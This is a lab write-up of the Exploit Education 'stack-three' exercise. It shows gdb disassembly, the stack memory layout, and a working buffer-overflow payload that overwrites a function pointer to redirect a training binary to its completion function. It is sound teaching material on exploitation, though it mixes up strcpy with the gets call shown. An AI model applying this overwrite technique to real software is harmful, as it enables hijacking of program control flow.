If you’re learning and writing binary exploits, I would strongly recommend you to take Architecture 1001: x86-64 Assembly course by Xeno Kovah. They cover a wide variety of learning assembly instructions which will be really helpful to understand the exploits.

If you haven’t done setting-up your lab, feel free to check out my previous article on Exploit.education lab setup

Previous Writeup:

  1. Stack Zero Writeup - Exploit Education Lab Exercise
  2. Stack One Writeup - Exploit Education Lab Exercise
  3. Stack Two Writeup - Exploit Education Lab Exercise

Quick Overview

Similar to Stack Two, Stack Three exercise motive is to smash the stack to modify other variables in the stack to a hex value and technically overwrite function pointer in the stack. Similar to gets in Stack Zero, strcpy function is unsafe that doesn’t have bounds check, it accepts memory address to write but doesn’t care about overwriting other declared function pointer in stack. If you take closer look at the struct which isn’t dynamically being allocated by malloc function, so probably the struct which contains both char buffer[64] and volatile int *fp function pointer stays in main stackframe. This overwritten function pointer will be further used to invoke in later part of the program.


Disassembling the code will get you overall idea behind the stack-three code, One can use gdb ./stack-three to start debugging it in runtime.

  1. gdb ./stack-three
  2. Type disassemble main to get the disassembled code (assembly)
   0x00000000004006b5 <+0>:     push   rbp
   0x00000000004006b6 <+1>:     mov    rbp,rsp
   0x00000000004006b9 <+4>:     sub    rsp,0x60
   0x00000000004006bd <+8>:     mov    DWORD PTR [rbp-0x54],edi
   0x00000000004006c0 <+11>:    mov    QWORD PTR [rbp-0x60],rsi
   0x00000000004006c4 <+15>:    mov    edi,0x4007d8
   0x00000000004006c9 <+20>:    call   0x4004f0 <puts@plt>
   0x00000000004006ce <+25>:    mov    QWORD PTR [rbp-0x10],0x0
   0x00000000004006d6 <+33>:    lea    rax,[rbp-0x50]
   0x00000000004006da <+37>:    mov    rdi,rax
   0x00000000004006dd <+40>:    call   0x4004e0 <gets@plt>
   0x00000000004006e2 <+45>:    mov    rax,QWORD PTR [rbp-0x10]
   0x00000000004006e6 <+49>:    test   rax,rax
   0x00000000004006e9 <+52>:    je     0x40071d <main+104>
   0x00000000004006eb <+54>:    mov    rax,QWORD PTR [rbp-0x10]
   0x00000000004006ef <+58>:    mov    rsi,rax
   0x00000000004006f2 <+61>:    mov    edi,0x400828
   0x00000000004006f7 <+66>:    mov    eax,0x0
   0x00000000004006fc <+71>:    call   0x4004d0 <printf@plt>
   0x0000000000400701 <+76>:    mov    rax,QWORD PTR [rip+0x200418]        # 0x600b20 <stdout>
   0x0000000000400708 <+83>:    mov    rdi,rax
   0x000000000040070b <+86>:    call   0x400500 <fflush@plt>
   0x0000000000400710 <+91>:    mov    rdx,QWORD PTR [rbp-0x10]
   0x0000000000400714 <+95>:    mov    eax,0x0
   0x0000000000400719 <+100>:   call   rdx
   0x000000000040071b <+102>:   jmp    0x400727 <main+114>
   0x000000000040071d <+104>:   mov    edi,0x400848
   0x0000000000400722 <+109>:   call   0x4004f0 <puts@plt>
   0x0000000000400727 <+114>:   mov    edi,0x0
   0x000000000040072c <+119>:   call   0x400510 <exit@plt>

If you carefully check the source, you might miss complete_level in the above disassembled code. You can go ahead and type disassemble complete_level in the gdb prompt,

   0x000000000040069d <+0>:     push   rbp
   0x000000000040069e <+1>:     mov    rbp,rsp
   0x00000000004006a1 <+4>:     mov    edi,0x400790
   0x00000000004006a6 <+9>:     call   0x4004f0 <puts@plt>
   0x00000000004006ab <+14>:    mov    edi,0x0
   0x00000000004006b0 <+19>:    call   0x400510 <exit@plt>

Before taking a look at the code, if you disassembled the stack-three using gdb to view the assembly instruction, you may notice the puts, fflush, exit and gets function calls with parameters. So basically when you hit r in gdb without breakpoint,

  1. Greet with Welcome to phoenix/stack-three, brought to you by https://exploit.education message via Puts (aka printf) method
  2. Set locals.fp variable to zero or 0x00 in hex
  3. Strcpy locals.buffer variable filled by gets function
  4. Verify locals.fp is not NULL (cmd instruction)
  5. Use locals.fp function pointer to invoke the corresponding function
  6. Use puts(aka Printf) method to greet the user again with decision
  7. Finally exits the program with exit(0) system call instead of returning to the main function invoker

Primary Goal

The primary goal of this exercise is to make you familiar to overwrite function pointer with your own function pointer and therefore redirecting the program flow to achieve code execution within the binary/program. In ideal exploit world, you may overwrite the function pointer and redirect to system function call to achieve remote code execution and this blog post good example of reflecting this goal. In this exercise, you might want to overwrite the function pointer locals.fp with complete_level function memory address.

Memory Allocation

As you see that the locals struct isn’t dynamically allocated, they are allocated in the stack frame same as main function gets executes. The main function starts executing my pushing $rbp to stack at 0x7fffffffe660 and then rsp to $rbp-0x60 (0x7fffffffe600) as expected the stack grows from top (higher memory address) to bottom (lower memory address).

Stack Memory Layout from $rbp till $rsp

You can see that locals.buffer (64 bytes) gets written at $rbp-0x50 i.e 0x7fffffffe610 and locals.fp integer variable (4 bytes) at rbp-0x10 i.e 0x7fffffffe650. Now that you got the overall idea of the memory layout of the stack, you can now go ahead blow up the stack to overwrite locals.fp. If you play around with these memory layout behaviour, you may note that the char buffer variable writes from $rbp-0x50 towards $rbp-0x10.


As previously discussed locals.buffer and locals.fp are allocated nearby each other in stack. So, if your input of 64 characters (example: 64 * ‘A’) wouldn’t overrite the locals.fp variable, but if you do the same with 65 characters, you have succesfully overwritten locals.fp variable. However, our challenge is to overwrite locals.fp variable with complete_level function memory address. So, How do i get the complete_level function loaded memory address? Simple, use gdb disassemble disassemble complete_level command and note down the starting rbp address aka 0x40069d (ignore the padding zeros).

If you try generating the payload simply (A * 64) + '\x40\x06\x9d', this would represent in the memory as 64 'A's & 0x40069d 😵. Remember Little Endianness ?, Yes Intel or AT&T syntax follows Little Endianness, so the representation should be in reverse order as 'A'*64 + '\x9d\x06\x40'.

Stack Memory Layout


> r <<< $(python -c "print('A'*64 + '\x9d\x06\x40')") in gdb prompt.

(gdb) r 
(gdb) r <<< $(python -c "print('A'*64 + '\x9d\x06\x40')")
Starting program: /opt/phoenix/amd64/stack-three <<< $(python -c "print('A'*64 + '\x9d\x06\x40')")
Welcome to phoenix/stack-three, brought to you by https://exploit.education
calling function pointer @ 0x40069d
Congratulations, you've finished phoenix/stack-three :-) Well done!
[Inferior 1 (process 375) exited normally]

There you go! 🎉 You’ve officially pwned the binary and possibly you could control the program flow and may eventually perform remote code execution in the system. 🪲


Source and Reference:

  1. Stack Three Exercise: Exploit Education
  2. Architecture 1001: x86-64 Assembly

Closing Note:

I hope this post is helpful for vulnerability researcher 🔍 & code reviewers, For bugs,hugs & discussion, DM in Twitter. Opinions are my own and not the views of my employer.

Author Profile Photo - Shivasurya


Software Engineer, Security @ Dropbox